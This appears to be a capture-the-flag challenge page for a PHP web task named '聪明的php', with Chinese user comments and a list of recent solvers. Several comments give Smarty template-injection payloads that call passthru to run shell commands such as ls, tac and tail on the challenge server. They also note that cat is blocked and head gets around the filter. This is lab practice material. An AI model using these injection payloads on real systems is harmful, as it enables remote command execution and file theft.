聪明的phpWEB 未解决

分数: 25 金币: 2
题目作者: midi
一  血: Lazzaro
一血奖励: 3金币
解  决: 4226
提  示:
描  述:
聪明的php
评论
404 Lethe 18天前

最初尝试 scandir+var_dump 枚举目录、highlight_file 读取文件但回显失败,后续发现 passthru 未被黑名单过滤,利用它执行ls -a /找到下划线随机命名的_15441,因 cat 被拦截改用 head 读取该文件获取 flag,成功返回flag结果

回复 0

灵梦归希 2月前

这道题可以加大难度的。把_14781改为flag.txt就可以了.只是套一层娃而已

回复 0

icyskin 3月前

http://160.202.254.160:17350/?key={{passthru(%27tail%20-100%20/_14781%27)}}

回复 0

fuhaiyan 9月前

?a={{passthru('more ../../../*|grep fla')}}

回复 4

对对对对对对对对 10月前

?key={{passthru(%27tac%20/_4427%27)}}

回复 0

anony 1年前

flag{********}

回复 0

人闲桂花落 1年前

tac命令读取也可

回复 0

docker0w 2年前

1. 随意构造URL参数获取源代码信息 ?test=test 2. 根据源代码得知使用Smarty 并搜索得知存在模板注入漏洞 3. 根据已过滤函数,使用passthru函数即可回显 4. 使用passthru执行命令 ls -a / 得到根据下存在start.sh 脚本信息 5. 根据脚本信息得知flag为随机生成在根路径下 且使用_下划线文件明名 6. 使用show_source获

回复 4

bx33661 2年前

?key={passthru("tac%20/_28710")}

回复 0

yun20231227 2年前

?key={{passthru('ls /')}}

回复 1

WriteUp

image
midi

3 金币

评分(14)

解题动态

magning 攻破了该题 3小时前
全都拿下 攻破了该题 23小时前
noob11 攻破了该题 1天前
风掠 攻破了该题 1天前
25456 攻破了该题 1天前
1柒1 攻破了该题 2天前
xuanbai 攻破了该题 2天前
qi1102 攻破了该题 2天前
Alter 攻破了该题 3天前
Amy 攻破了该题 3天前
CCC1112 攻破了该题 3天前
gc 攻破了该题 3天前
KN11 攻破了该题 5天前
世界你好 攻破了该题 7天前
小懒 攻破了该题 7天前
woshicaocao 攻破了该题 8天前
暗流安全 攻破了该题 9天前
小楼一夜听春雨 攻破了该题 9天前
能工智人 攻破了该题 9天前
想养只粉色的猫 攻破了该题 11天前
问题反馈